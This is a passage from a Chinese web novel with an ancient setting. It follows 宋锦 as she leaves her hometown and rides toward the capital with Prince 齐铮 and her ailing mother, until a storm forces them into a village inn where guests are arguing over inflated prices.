宋锦坐在外面,她揉着自己的红通通的耳朵,冷笑:“这能是误会吗?我娘这分明是透过表面看到了内心,远着你才是对的” 也是宋行之现在还算识趣,但凡他还像最开始那般放荡,那他定然少不了每日一顿揍,哪里还能和他们像现在一样有说有笑 在她警告的目光下,宋行之眼皮狂跳,回想起自己的那顿毒揍和无辜牺牲的宝贝蜂,他面色凄凄 “俗话说得好,不知者无罪,更何况我已经受罚了,这件事能不能就此揭过?你不是有仇当场就报,从不记仇吗?” 宋锦耸肩,理直气壮:“当场就报的那不叫仇,叫看人不爽” 她的仇,就算过去十年二十年了,等她哪天突然再想起不爽了,都还能再报一番 宋行之:…… 他日后会不会死在政敌手里是个未知数,但肯定是会死在那几个人手里的 为了自己的小命,宋行之还想再为自己争取一下,宋锦却已经站了起来,目光越过他,看向了那后面阶梯上出现的人 她跳下马车,大步朝着那边跑了过去,重重拍拍舒程浩的肩膀,惊奇:“你小子瘦了好多啊,看来蹲大牢也不全都是坏事,你现在俊多了” 本来很是忐忑的舒程浩捂住打疼的肩膀,咬牙:“你听听你说的是人话吗?你都不知道那里面多黑,老子脚趾都被那破老鼠咬了几口” 宋锦哈哈嘲笑:“你该庆幸没被咬到命根子,不然以后就该改名叫舒程没了” 舒程浩立马红了脸,恼羞道:“宋金金你还能不能好好说话了,这是来给我接风洗尘的,还是专门来气我的?” 宋锦收起了调侃的笑,带上了几分认真:“是专门和你道别的” 舒程浩安静了下来,抿嘴:“不打算回来了?” 宋锦坦然道:“我娘在的地方才是家,若她日后还想回来的话,我们会回来。” 但是依照宋锦对牛铁兰的了解,不说她和宋商的感情纠葛,就说她哪日真的能跑能跳了,她应该也不会想在一个小地方度过余生。到时候她们母女俩应该会坐着马车骑着马,一寸寸丈量一下这个新世界 舒程浩和宋锦也认识10来年了,自然明白了她的意思,他脸色一点点黯了下去,扯着嘴,笑得比哭还难看 “那这是最后一次见面了,是吧?” 宋锦又是一巴掌拍他肩膀上,没好气道:“行了,做出这么一副表情干什么?什么叫最后一次见面了?怎么,我们这出去是要找个坟把自己埋了吗?” 舒程浩:“呸呸呸你好好说话” 宋锦笑:“都城就在那里,你就不能努努力考过去吗?舒秀才” 在旁边静静听着他们说话的严盛脸色微变:“他考起了秀才?” 舒程浩本来想说他考起秀才纯粹运气好,正好碰上他最擅长的部分,但严盛这一开口,他瞬间就挺直了腰杆,轻哼一声 “放心吧宋锦,你就在都城给我等着,老子就是一次不行,两次三次早晚能考过去的” 本来没把他放在眼里的严盛脸色微变,冷笑一声,对着宋锦道:“我和有些人不一样,我这次一定能考上,金金,我们便都城相聚” 舒程浩怒:“什么有的人没的人?说的好像谁考不上一样,宋锦你给我等着,咱们明年初相见” 严盛呵呵:“有些话说着自然简单” 舒程浩咬牙:“等着,给我等着,我回去一日看八个时辰” 严盛:“我日日学八个时辰以上” 舒程浩愤而吹牛:“那我十个时辰” …… 宋锦就站在一边,眼看着两个人完全无视自己,在那里比起了自己做的文章中、看的书…… 她翻了个白眼,在心里骂了句神经病,然后转身便走 在牛铁兰的强烈要求下,宋锦今日穿上了牛铁兰特意花大价钱找人定衣裙,通体金织为主,宛如烈阳一般灿灿,衣摆银线成云,飞鹤昂着脑袋,随着她一步一步踏下石梯,飞鹤也似展翅高飞,带着一片冲破云霄之态 舒程浩和严盛早在她转身的瞬间便停下争执,站在原地看着她一步步走到马车旁,看着她背对着随意挥手,就像往日分别一般,寻寻常常 但是他们都知道,此次一别,再见便不似今日了 这声势浩大的整齐车队,就像是裂开的崖壑,撕开了他们的再不相同 …… 宋锦没有回头,她走下台阶,潇潇洒洒来到那六马车架前,轻轻敲了敲车窗 那精心雕刻的木窗抽离,露出里面人雕刻一般的侧颜,齐铮身着暗金黑袍,袖口的金虎眼眸灿灿,带着一惯的冷肃 “好了?” 宋锦凤眸微挑,眸中明光璨璨,勾唇笑:“谢了,可以启程了” 齐铮看着她那双过于灿烂的眸子,绷着神态,微微颔首:“好” 宋锦两步回到后面的马车旁,长腿一抬,利落上马,她握住缰绳,潇洒又从容,一副江湖大方之态 宋行之依旧站在马车边上,看着那边宛如石柱一般站立的少年人,他意味深长地揶揄:“我们金金可真受欢迎” 宋锦冲他勾了勾手 宋行之挥扇,端着翩翩之态凑近,想听听她要说些什么 宋锦没有说话,她只是勾起嘴角,在宋行之愕然的目光下,挥动马鞭 宋行之猝不及防,一个趔趄后退,一屁股摔在地上,眼看着要被踏马踩住,他拖着屁股狼狈地往后挪动 就在此刻,骏马拉着车子向前,一个个高大的侍卫手持长剑护盾从他面前走过,目光纷纷从他身上飘过 “……” 宋行之坐在地上哭笑不得,一直到再看不见一点车马的踪迹,他才缓缓起身,看着那都城的方向,轻笑一声 好戏,正式开始了 第35章 路途中 “哒哒哒” 群山环绕的官道上,高大的白马肆意奔驰,在宽阔的道上宛如一道流光,眨眼间便从另一头奔了回来 马上,宋锦一身赤红长袍,浓密乌黑的长发高高束起,随着奔马甩动,张扬又肆意。等到近了,她飞扬的眉眼和灿烂的笑容更为清晰,随着一声吆喝,她手拉缰绳,连人带马稳稳停在了队伍的前面 她就这样坐在马背上,冲着全副武装的李青山道:“放心走吧,一路安全” 李青山点了点头,给其他人比了比手势,一行人这才整着车马,重新启程。而让他们这般信任,除了宋锦本身实力过硬以外,还有那旁边林中穿梭的金黄身影 这几日黄黄都是被关在马车里面,现在难得重获自由,它在林间肆意穿梭,时不时发出欢快的叫声 “吼~哈~吼吼~咪” 就是这声音一听就不是什么正经虎 宋锦则是慢悠悠骑着马匹回到队伍中间,敲了敲那六匹车马,便伸了个大大的懒腰,说道:“你天天坐车上不累吗?不如也下来活动一下筋骨” 随着她话音落下,车窗移开,手执墨笔的齐铮挪眼看来,目光瞥着她座下的白马,他面无表情道:“不去,骑马才累” 这骑马看似潇洒,但论谁连着骑十天半月的,屁股也得跟木墩子一样。 齐铮以前行走江湖,可吃够了这苦头,现在好不容易过上好日子了,那绝对不会没苦硬吃的 宋锦稳稳坐在马背上,活动着筋骨,撇嘴:“骑久了自然累,但是马车坐久了更累,我和我娘这几日坐得骨头都快散了,还有多久才到啊” 齐铮瞥瞥左右山林,面色复杂:“……快了,翻过这围龙山,我们就出青郡府了” 这次跟着他出来的全都是训练有素的卫兵骏马,队列交换之下,寻常车队半月的路程,他们一旬便差不多了,速度已经是一般车队难寻的。但是,他们前日才懂泗安县出发,这边路况复杂难走 他们这般速度已经很不错了,毕竟是马车不是赛马 宋锦忍不住抱起脑袋,干嚎:“怎么还有这么久啊,我干脆骑着马带我娘跑算了,怎么也能省一半时间” 齐铮:“……你娘的身子受得了?” 而且骑马听着是快,中间休息一算,根本比不上他们车队昼夜轮换 宋锦蔫下了脸,郁闷:“受不了,但是长痛不如短痛,她现在也难受得不行” 现在正值一年最热的时段,车身封闭里面又热又闷,从泗安县出来的路多坡多弯,马车又陡又颤 牛铁兰身子本就不好,现在一路颠簸,前两日刚出来还好,她忍着也就过了,随着行路时间拉长,即便是有宋锦时不时的输送内力,她也脸色苍白得没半点血色,躺在那里没什么气了,情况很是严重 宋锦担心得不行,这也才主动站出来带着黄黄探路,就想着能快点到都城,但现在看来也效果不大 她头疼地揉着脑袋:“要不,等到了下一个村镇,你们先走,我和我娘后面慢慢过去” 虽然她们自己走肯定比不上了和齐铮他们一起方便安全,但到底还是她娘身体重要,她还真怕这一路颠簸下去,等道了都城,不说解决她身上的红线蛊了,倒是上了身子根基,那才麻烦 至于让齐铮这王爷他们也跟着停下来等,她还没这么大脸 这人虽然平日接地气了些,但是到底是皇帝亲儿子,人皇上在宫里等着看人,她们把人一拖再拖,指不定那老头就给她们记上了,以后给她们找茬才麻烦咧 齐铮没她想得那么多,只是皱起了眉头,问道:“找袁太医看了没有?” 为了确保齐铮的安全,他们此行架势不可谓不大,百名亲卫护驾不说,还有太医随性跟着,就怕他到时候哪儿不舒服 宋锦更郁闷了:“看了,但没什么用,我娘身体本来就不好,车架又颠簸,休息不好没办法” 在乡镇休息听着是好,但安全没法保障不说,大夫肯定也没法和袁太医相比 齐铮神色犹豫 宋锦以为是他担心宋家那边,便拍拍胸口保证:“你放心吧,我娘有我呢,这事本来也和你没关系,我一会儿给你留个信,到时候好给宋家交差?” 这话说的,齐铮无奈叹气,道:“我是想说,若你娘实在不适,不如让她来我这边,这马车工部废了大力打造出来的,比起一般的马车平稳不少,就怕” 宋锦:“就怕什么?” 齐铮委婉:“孤男寡女不太方便” 宋锦震惊:“孤男寡女?” 她下意识想起,就在不久前,这人还和她一起大晚上上山呢,那也是孤男寡女,可没见他说什么? 难不成…… 想到自家娘亲那漂亮的脸蛋和身段,宋锦眼皮疯狂跳动 不是,她娘都多大年纪了啊,差辈了,这真的差了哈 宋锦面色青白变换,最后咬牙:“我和我娘一起过来,就不是孤男寡女了,你等着,我这就去收拾东西” 特殊时候特殊应对 现在最重要的还是她娘的身体 至于别的,宋锦按着自己的脑瓜子,安抚自己,没事没事,就算是这人想当她爹,也得看有没有这个本事 为了她娘,她忍 齐铮:…… 总觉得后背有点凉 ** 齐铮的马车是由工部专门打造的,通体全是名贵的木料,里三层外三层构建了不少细节,能 最大程度的方舟震动,而且垫的全是最顶级的软垫凉席,又熏着名贵香料 人坐在里面,不仅不会觉得闷热,就连头脑也清醒几分 穿过来就一直在乡下当着地主娃的宋锦乍一进车就惊了:“怎么会这么凉快?这里面放了冰?” 要是没有放冰,这里面怎么会比外面凉快这么多?但是冰块的话,宋锦在车里看半天也没看到影 齐铮盘腿坐在一侧,淡定道:“车架里夹着一层千年寒冰,会散寒” 宋锦眼睛瞪得大大的:“还有这玩意儿?冰块还能不会化?” 齐铮颔首:“与其说是寒冰,不如说是寒石。寒石只存在于北漠,数量极其稀少,开采更是艰难,价值堪比黄金,好好保存的话,能用三年。” 宋锦惊叹:“这么神奇啊,那除了寒石,车里还用了什么?人一进来就怪清醒的” 齐铮:“是颂草,它能醒神,香盒里燃烧的便是” 宋锦必须承认她就是个土包子了,这些东西别说用,她连听都没听过,这可真是个神奇的世界 她:“这玩意儿你有多的吗?” “宋锦”牛铁兰打断宋锦的问话,没好气道,“岐王让我们上马车是他心善,你别在这得寸进尺” 这些一听就是普通人接触不到的好东西,哪有这么问的,这不讲究的破闺女哎 宋锦嘀咕:“我又不是白拿,我换嘛” 齐铮委婉:“走之前父皇赐我一二,并无多余” 他一路都没用过,也就是想着牛铁兰不适,才特意点了一根,这东西价值不比百年人参低 他之前省下的钱,已经成倍亏出去了 对此,宋锦坚定认为这人就是小气抠门,她撇了撇嘴,还想讨价还价一番,腰间突然一痛,她嘶了一声 牛铁兰警告地看着她:“里面呆着闷就出去骑你的马” 宋锦立马老实下来,现在正是中午时候,外面又闷又热,她傻了才看着空调屋不待,跑出去晒太阳呢 难怪一路上除了吃饭上厕所,齐铮其余时间都在马车里,换她也懒得出去了 有个好爹就是好啊,宋锦羡慕地看着齐铮 齐铮:“……据我所知,这样的车马,早年父王也赏赐了宋首辅一辆” 只不过车马易得,寒石难得 每年北漠送过来的数量也不过寥寥,宫里都不够用,外面就更为难得了 宋锦眼睛亮起:“那大奸臣好东西不少啊” 齐铮颔首,提醒:“政敌也不少,都城不比镇上清静,你们日后要小心算计” 宋锦抬下巴,轻哼:“我倒是要看看哪个不要命的敢算计我” 来一个她踹一个,来两个她踢一双 齐铮摇了摇头:“你功夫再深,谨慎些总没错” 说完,他靠在一旁阖上眼睛,休息的意味很是明显 人在屋檐下,不得不低头 宋锦转身摸摸牛铁兰的额头,又对着她心口输送内力压制蛊虫,凑到她耳边小声道:“娘,等你好了,我们就把大奸臣的那辆马车架走,到时候想去哪儿就去哪儿,现在勉强忍一忍” 牛铁兰无语:“你说拿就能拿?” 宋锦晃脑袋:“那我不管,反正那车子我要了” 牛铁兰无奈地敲了敲宋锦的脑袋,让她安静一点,就也靠在一边闭上眼休息起来 这马车说是马车,实则就是个移动的屋子,左右两边距离足有三米,躺在塌上,只要不随意乱滚,是不会有半点逾矩的。 只不过他们关系并未那般亲近,又孤男寡女的,齐铮之前也没就说让人过来。现在牛铁兰实在不适,算是紧急情况,自然又不一样了 齐铮靠在角落上,静静地平复杂乱的丹田,直到马车彻底安静下来,他才缓缓睁开了眼,目光落在躺在踏上的宋锦身上 上次盘龙山一行,即便有珍药补充,他的内力消耗依旧不少,到现在还没恢复全,他这几日便在抓紧时间恢复,免得后面再碰上事了心有余而力不足 而相比上山后只是守山谷的他,宋锦紧急下山不说,又一路探寻地道找出炸药,这段时间还每日给牛铁兰输送大量内力,她的消耗比起他不知道大了多少 但是,她依旧龙活虎,看着和之前没什么区别 强撑糊弄人? 她没这个心眼,也没这个必要 内力深不可测? 这一点齐铮承认,宋锦的内力定然比他深厚,但那日上山她脸上的疲意也不是假的 所以她现在生龙活虎只有一个可能,她的修炼功法特殊,恢复比起他快上不少 齐铮的目光暗了暗 这个人,真的很不简单啊,也不知道她回宋家到底是好是坏,又会在都城掀起多大的风浪 只希望,她到了都城也能保持本心,不然万一被他那些个兄弟收买了…… 真的会让人很没有安全感 对此,齐铮忍不住思考着自己先一步收买人的可行性 就在这个时候,那边像护栏一样紧紧围着牛铁兰的宋锦突然一个翻身,在那里滚来滚去 迷迷糊糊之间,她先是压着左胳膊躺下,没一会儿可能是脖子不舒服,扭了扭腰,两只手压在脖子下,像仰着的青蛙一般躺在那儿,翻着个肚子 就在齐铮以为她总算好了的时候,她又是一个翻滚,像是蚯蚓一般曲了曲身子,就这样面朝下趴在卧榻正中间,手脚大张,占据大半卧榻 这几日赶路没怎么休息好的她舒服地打起了小鼾:“呼呼,呼……” 齐铮收回思绪,面无表情地,挪开那打到自己的脚丫子,一点点挪到最角落的位置 可怜,弱小,又无助 如果这都不算收买,什么算? ** 在这个时代,出远门不是一件轻易的事情 心狠手辣的匪徒、难以预防的野兽毒蛇、随时变动的路况,以及难以预测的天气 宋锦他们一行人从青郡府出发,穿过明塬府、金淮府,好不容易踏上了都城的领地,猝不及防地迎来一场暴风雨 低飞的燕鸟和骤然聚起的云层是暴雨的预兆,四顾空荡荡平野是他们倒霉的前奏,即便他们以最快的速度朝着沿途最近的村镇赶去,也还是没有逃过淅淅沥沥的雨点 这暴雨来得突然,从起势到落下不过半个时辰,一来便是豆大的雨点,打在人的身上没一会儿便湿了衣服。好在此行全是训练有素的士兵,那斗笠蓑衣一披,一行人加快了行速 宋锦掀开车帘,看着外面越来越大的雨,微微皱眉:“我们这么多人,那上杨村能歇下吗?” 齐铮坐在塌上看着皮质地图,轻轻点了点上面的上杨村,道:“这村子是个大村,有两千人往上,容纳区区一百人,问题不大。” 紧急情况下,他们也没得挑,只要有个歇脚躲雨的地方就不错了,几个人挤一挤也能过 宋锦看着外面的风雨,感叹:“还好是和你们一路,不然我和我娘可惨了” 这雨来得实在过于突然,他们进退距离都差不多,不如冒一点小风险往前了 齐铮只道:“你们自己出门,不一定会遇上这雨” 这可说不好了,这夏日的风雨来的就是突然 宋锦自己是无所谓淋不淋雨,但是她娘不行。反正她自认,若是她自己带着她娘的话,碰上这种天气,她老娘肯定是不能像现在这样裹在暖和的披风里,捧着热茶,吃着搞点,淡然地面对风雨 这日子,比起家里都不差了,还真像是郊游 宋锦突然好奇了起来,转头看着齐铮:“岐王以前行走江湖,碰上这种天气会如何?” 齐铮坐马车的这段时间,不是在打坐恢复内力,就是在记地图,这东西放脑袋里才是最有用的。听到宋锦的问,他抬起头,目光掠过宋锦好奇的眼,看向外面雾蒙蒙的雨幕 一道闪电划过,带着惊雷声响彻大地 他思绪也渐渐飘离,好一会儿才定神,道:“运气好的时候能找到山洞和废弃草屋,运气不太好的时候就穿着蓑衣斗笠慢慢找村镇,运气差的时候” 宋锦非常捧场道:“差的时候如何?” 齐铮闭眼:“藏树下,一道惊雷劈来,进山洞,对上带崽的狗熊,进茅草屋又碰 上竹叶青,就是披着斗笠冒雨前行,都能碰上趁火打劫的人” 众人:…… 这江湖,听起来好苦啊 宋锦干笑:“你还挺厉害的” 但凡本事差点,这人都不能在这里坐着 想到那些不堪回首的往事,齐铮真的很难笑出来。 江湖真要有那么舒服,就不会有那么多人退隐了,这些人要么是混不下去回去躺着,要么就是混太好了回家当老爷了。真一辈子混江湖的,也是江湖里的富裕人了,和闯荡江湖的普通人不一样 这一点,宋锦不是很懂,毕竟她没有正经混过江湖,倒是被喊进来躲雨的李青山感同身受,他考起武官之前也是混江湖的,还和那时候同是江湖人的齐铮合作过 他忍不住感慨:“江湖啊,我记得第一次见到王爷的时候,他才十四岁,虽有一身高强武艺,但是到底年轻,被当时的队长黑了一半银两都不知道” 齐铮猛得抬头,脸色骤然难看起来:“一半?” 他当时半月赚了两百两银子,可把他高兴坏了,现在告诉他,他本来是能拿四百两的? 李青山感慨完才发现说漏嘴了,尴尬:“……您知道的,江湖人草莽气重,都过去这么久了” 齐铮面无表情,重复:“两百两” 李青山干笑:“您知道的,我当时也就是小喽啰,人微言轻” 他可一分钱都没贪到,无辜得不能再无辜了 齐铮没有说话,但是那紧绷着的下巴显示他不平静的内心 这个,宋锦真的能感同身受了,她前世做任务的时候也被贪过任务奖励,她那是还喜滋滋的兴奋自己大赚一笔,结果后面有人和她说她被坑了,差点没把她气死 她同仇敌忾:“这件事不能这么轻易放过!!” 齐铮转头看向她,道:“那你说该如何?” 宋锦拍拍桌子:“坑小孩的人都不是东西,就该让他十倍偿还” 齐铮思索一番,点头,赞赏:“你说的有理” 宋锦继续:“还得揍他一顿” 齐铮,点头 宋锦:“把他挂树上,脸上写字” 齐铮,继续点头 …… 李青山在一边听得眼皮直跳,这不看僧面看佛面,好歹曾经共事一场,那人对他不说多好,也没亏待过他。再说了,真这么一弄,齐铮这王爷在外面的形象可就 他赶紧打断两人,想劝一劝人,结果一个王爷刚出口 齐铮静静地看着他:“你当时” 李青山立马道:“我还有那小子的联系,等回都城我便给他写信让他,负荆请罪,把银两还回来” …… 江湖,确实就很江湖了 宋锦摇摇脑袋,对于闯荡江湖暂时失去兴趣,她再撩起车帘一看,那白蒙蒙的雨幕中,一条小道清晰可见 她喜:“好像到了” 话音落下,前面的队伍也缓下了下来,领头侍卫过来禀告:“王爷,前面便是上杨村” 齐铮暂时放下往事,恢复冷肃模样,颔首:“往村子里去,切勿惊扰百姓。我们只是路过暂时歇脚,村子百姓如何我们便如何,记得给足银两” 侍卫:“是” 李青山跟着应了一声,冲齐铮行了个礼,便离开马车,一起去安排歇脚的事 很快,车马驶离官道,顺着小路一点点靠近上杨村 第36章 在下曲茂泽 上杨村距离都城一百来里,是出都城必经的主要塞之一 因此,上杨村的日子比起很多镇子都要好上不少,村子里客栈饭店比比皆是,这种雨天他们生意更好不过,附近的行人都往这边赶来,本里打算离开的人也没法走 这种时候便是村子的市场,对此,淳朴的村民们毫不客气地坐地起价,路过的行人看着外面的暴雨,咬咬牙也只能忍了。当然,有这种好脾气的人,就有差脾气的人 “什么,五百文?我昨天还是两百文” “一个素菜五十文?猪肉一百,羊肉三百?” “都城的客栈都没你们这么黑的,黑店,黑店,要命一条,要钱没有” …… 上杨村最大的同花客栈里面吵吵嚷嚷,带头的客人六尺出头,大腿胳膊粗壮,肌肉劲实,看起来是个武官模样,但是后背上的书篼暴露了他的本质——这竟是个书生 而此刻,他的桌上摆了六七个饭菜,大碗小碗全都吃得一干二净,没一点儿浪费的 黑熊似的男人吃完最后一口饭便跟着结账,一听价格,一双眼瞪得浑圆,啪一下踩着凳子就站了起来 “都城之下可还有王法?就是都城的醉香楼也就这个价了,你们这小小客栈也敢如此?” 这话立马迎来了同样不服的人的附和,大家看他人高马大的,便以他为主凑在了一起,一个个义愤填膺,脸上都带着对客栈临时涨价的不满 眼看着就要吵起来了,穿着褐色长袍的男人走了出来,他看着不过四十上下,肚子滚滚,小腿粗短,豆大的眼中金光闪闪,一看便是精明之辈,面对吵闹他不慌不忙,摆手劝和 “各位别吵了,有什么事大家坐下来好好说,在下杨有羊,是同花客栈的老板,也是上杨村的村长” 宛如熊一般的男人扭扭胳膊,一脸凶恶:“你就是这黑店的老板?看着外面下雨了就趁机涨价,这不太好吧?” 杨有羊笑眯眯打量着他,道:“这位客人是,今年进京赶考的举人老爷吧?” 男人凶恶:“算你还有点眼光,但既然知道我是举人老爷,怎不说免了饭钱,还临时涨价?” 杨有羊笑眯眯:“您是举人老爷,那就更应该讲道理才对,这做生意本来就是淡季便宜旺季贵,晴天有价,雨天无市。你要是客栈贵不合适,大可以去找其他客栈。” 男人瞪眼:“外面这么大雨,还劈雷,你让我们走一个时辰过去?果然是最黑不过经商人,等我去了都城,必定和上头参你们一顿” 杨有羊笑眯眯:“做生意你情我愿,您要去现在就可以去,不过去之前记得把账给结了。我看看您这菜啊,五个素菜,两个荤菜,还有一盆米饭,我便算您八百文,您下结账吧” 男人咬牙:“一百文?这东西撑死不过一百文” “您说笑了,您这说的是成本了,我们这开客栈肯定是要赚钱的。再说了,您看,明码标价,不打折”杨有羊指了指一边的木牌,冲着凶恶的男人也冲着其他人摆手 “各位要是觉得有不妥当的,从咱们上杨村过去,最多一个时辰,还有个下牛村,你们尽管离开,我绝不阻拦” 说完,客栈里闹事的人面面相觑,有些意动又有些犹豫 就在此时,那在一边闷头大吃的人抬起脑袋,擦擦嘴提醒:“别听他吹,从这边过去连着五六个客栈都是他家的,越过去越贵,你们还是认了吧。这里虽然贵了点,但是遮风挡雨,你们往外面走一个时辰,要是摔一跤染个风寒才亏大了” 所有人:…… 黑,这也太黑了吧 杨有羊被揭穿了也不生气,继续笑眯眯地看着说话的男人,哟了一下:“这不是张举人吗?这已经是第六年见您了,今年准备得如何啊?” 张游擦了擦嘴:“今年准备得足足的,一定能上,就是倒霉,特意提前一个月过来,又碰上你们涨价” 他说起赶考经历也是一把辛酸泪,第一次来的时候他不服气,看着他们借机涨价,直接扭头就走,结果连着走了五个客栈,一个比一个贵 那是他第一次离家,他便懂了江湖的水深 张游大口喝完汤,拍拍桌子,道:“再给我来一份羊肉汤,不就是抄书吗?我熟” 杨有羊笑眯眯:“还是张举人爽快,各位老爷大人,若是囊中差了点,我们这也提供以工代价,各位抄写书、做些题,给村里孩子上点课,也能抵钱” 所有人:…… 他们懂了,这不是黑心客栈,是黑心村啊 他们大部分都是外地提前进京准备赶考的书生,这番还在路上,条件都说不上多好,一个个势单力薄,面对着一个村子的力量 眼看着其他人退缩了,那熊一般的举人再狠狠一拍桌子,还想争执几句,屋面突然震动了起来,沉闷的车马声一点点靠近 本来还笑眯眯的杨有羊脸色微变,顾不得客栈里的这些客人,他大步朝外走去。外面暴雨连连,白茫茫的雨雾遮住了大部分身影,依旧藏不住那行进的车马队伍 即便是在这种天气下,车马依旧不急不慢整齐划一,绝对是训练有素的卫兵 杨有羊注视着那不同寻常的车马,眼 中闪过沉思和谨慎,不过很快他又恢复笑眯眯的模样,十分殷勤地打着油纸伞冒雨上前,积极道 “各位官爷是要打尖还是住店?我们同花客栈是村里条件最好的客栈,吃住便宜,味美价廉” 李青山坐在马上,看着前方的三层酒楼,问道:“还有上好的客房吗?要两间,其他的普通房间便可,兄弟伙随便挤一挤便是” 杨有羊殷勤:“有有有,店里客人不多,腾一腾绝对住得下,官爷们要是不想打挤,村里还有其他的客栈可以住,就是条件要差点” 李青山:“不必,客栈能腾便多腾两间,记得收拾干净些” 杨有羊:“哎,您就放心吧,保证收拾得干干净净” 说这,他便带着车队朝着客栈走去,站在大雨中,敲着手中的铜锣,嘴里吆喝:“哎,贵客临门,快把大门后门全打开,小二们都给我出来干活,烧火的给我把火烧大,煮饭的务必煮得干干净净,一个泥点子都不能留……” 这吆喝的,就跟唱绕口令似的 宋锦掀开车帘,透过外面的雨幕只能看到一道褐色的身影,她上下打量,稀奇道:“没想到这一个村子都有如此大的客栈,真不愧是都城” 他们林溪镇的日子已经算不错了,但都没有这么大的客栈 齐铮:“都城出去有八条官路,上杨村在两道之间,比起一般的村镇富裕不少” 宋锦惊:“八条?” 这段时间越靠近都城,她便越能感受到这边的繁华,最明显的便是那道路。他们青郡府最宽的官道也不过八米,而这边八米只是打底,在这个没有挖掘机的时代,她很难想象得花费多大的功夫才能修出这些路,便是平日维护也是个大工程 晴日还好,这年头少有重物过道,路面消耗便小。但若像现在雨后,车马一过路面便坑坑洼洼,雨后需要重新填…… 齐铮点头:“都是前朝皇帝修的,当时他大量征收徭役,十户人家便有八户男人被带走,修建了大批工程” 而前朝朝中又只管征收徭役,不出米粮银两,那些年不知死了多少人,才勉强达成昏君的要求。现在前朝既去,但官路已成,自然没有废弃的道理 朝廷一年年维修下来,便成就了现在偌大的交通网,四方八达,很是便利 宋锦恍然 她穿过来便已经是大衍朝建成五年后,当时百姓的日子虽然说不上多好,但还过得去,她对前朝的混乱便没什么大的感受,只道成王败寇 现在看着这些路,再联想一下需要耗费的人力物力,她不禁感慨:“你爹干得好啊” 齐铮颔首:“你爹也是” 宋商以二十之龄稳坐首辅之位,除了他本身才干过人之外,少不了当初建朝之功,便是此刻再多的人骂他奸臣,也没有人能否定他的功劳 宋锦对此撇了撇嘴:“我可没爹,是吧,阿娘?” 牛铁兰安安静静地靠在角落上喝茶,听到这话瞥了过来,她是很疼自家的孩子的,但是奈何孩子过于皮实张扬不听话,她大部分时间是懒得理人的 但此刻听到宋锦的话,她不禁冷笑:“没爹,你是从石头里蹦出来的吗?你爹叫曲茂泽,死得早而已” 宋锦嘀咕:“不是,你们一个姓牛一个姓曲,干嘛让我姓宋?” 牛铁兰:“一日为爹,终身为父,你借的宋家的名头出生,姓宋没毛病” 说这话的时候,牛铁兰一脸坦然,坦然得好像那些个往事不算什么,她也已经放下。 见此,宋锦好奇了:“阿娘,你和我爹是怎么回事啊?” 之前牛铁兰说过,她会把往事一五一十地全部说出来。不过那时候宋锦心疼人就没让她说,现在眼看着马上到都城了,牛铁兰也一副坦然面对往事的模样 宋锦打算先给她娘打点预防针暗示一下,不然真等她老娘毫无准备地见到她那死鬼爹,她肯定会挨揍的 但是,之前说好的会把这些事说出来的牛铁兰听到这话,只是轻飘飘道:“大人的事小孩子少掺和,人都死了,问这么多干什么?你有一个老娘还不够吗” 宋锦:“……你之前可不是这么说的” 牛铁兰压下脸上的不自在,试图用凶意掩盖心虚,她凶巴巴:“老娘怎么做要你管啊,赶紧下车,废话那么多” 马车已经停下,齐铮以为她们要说往事,便早早下车,把空间让给了她们 “是你自己不说的,别怪我”宋锦撇了撇嘴,拿起一旁的油纸伞跳下马车,对着牛铁兰道,“娘你把斗笠所以穿好,小心点淋雨生病” 牛铁兰狐疑地打量着宋锦,见她这么简单就把这件事给略过了,知道其中肯定有问题。但是无奈,她自己也心虚呢,瞥瞥人,还是把蓑衣穿上,戴上斗笠,一张小脸藏在大大的斗笠下,只露出半张尖尖的下巴 她刚到车门边上,狂风便裹挟着雨滴溅来,又冷又湿,她不禁打了个喷嚏,然后裹紧蓑衣,小心搀着宋锦下车 宋锦个高,她长手一伸,便把人揽在怀里,雨伞往老娘的方向倾斜,道:“娘你一会儿得喝杯姜汤,不然晚上肯定发烧” 牛铁兰没在这事上和她唱反调,点了点头:“你也得喝,伞往你那边打点,我穿着蓑衣呢” 宋锦毫不在意:“就我这身子还能风寒?您看着路走稳点才是,路滑别摔了” 牛铁兰:“看着呢” …… 母女俩在这相互嘱咐,但其实十步路都没走到,她们就进了客栈——马车就停在客栈门口咧,只是外面的雨太大了,雨水积攒,就这么几步路,两人的布鞋也湿了大半 宋锦踢了踢脚,冲着先她们一不下车的小眉和小耳招手:“你们俩过来,一会儿跟着我娘上去换一身衣服,都收拾收拾别感冒了、” 小梅和小耳一路坐在另一辆马车,下车的时候又跟着安排行李那些,衣服头发湿了大半,小跑过来,点着脑袋 两人也是第一次出远门,便是一路上都是守卫军官,她们也紧张得不行,不用宋锦说,她们也绝对寸步不离 宋锦满意地点了点头,交代完两人,她转身就看到在和客栈老板交涉的李青山,她大步过去,道:“我和我娘还有小眉小耳住一间,房间大小无所谓,但是要向阳透风,她身子不好闷不得冷不得,阿茂和小多就随你安排,外面雨大,将就挤一挤就好,我来结账” 这壕气得一旁的齐铮都忍不住看了过来,隐晦提醒道:“我爹给了路费的” 他们这一路上的花费都由朝廷付钱,毕竟是公事 “没事儿,我不缺这点钱”宋锦说着便挥了挥手,冲着那客栈老板杨有羊扔了金块,点点下巴,道,“先押着,多退少补,先让人去给大伙煮点热水,有什么好菜好酒全都上” 杨有羊却没有动,他只是错愕地盯着宋锦的脸,手中的金块瞬间重逾千斤,让他磕磕巴巴半天说不出话:“您,您” 宋锦挑眉:“怎么,这还不够?这钱便是一个人一房间也不差吧?就算外面下雨,你们也不能这么心黑啊” 杨有羊连忙摆手:“没,没,没” “黑店,他们这就是黑店,大人们,平常一两百文的房间现在收五百文,您再看看这吃的……”没等他说完,那边一直不服的熊举人站了出来,他痛心疾首地列举了客栈的黑心操作,强调 “您一点过要替为我们做主啊,我们读书人也不容易” 杨有羊听得眼皮直跳,一直笑眯眯的神色阴了下来,他狠狠地用眼神剜了剜熊举人,连忙解释 “大人们别听他瞎说,咱们上杨村一直是这个价,只不过平日天气好的 时候人少会降低一些。至于吃食,贵是贵了些,但价格可都写在那标牌上的,都是你情我愿,嫌贵就别吃啊,外面几块钱一个的饼子又不是没有” 六年考生张游也站了出来,道:“大人,这点我可以为他作证,上杨村的吃食住宿是比其他地方贵了些,但倒也不至于是黑店,都是明码标价” 杨有羊赶紧:“就是啊,咱们这个客栈也开了十来年了,真是黑店还能在皇城脚下待着?我们着开村子日子有专门的育婴堂,每年都有从外面扔过来的孩子,这养起来也费钱呢,还有学堂这些,大家伙也是为了养家糊口……” 宋锦双手抱胸地站在一边,听着他们吵吵嚷嚷的脑壳都大了,侧过身和一旁的齐铮说着小话:“这价钱在都城是贵还是便宜?” 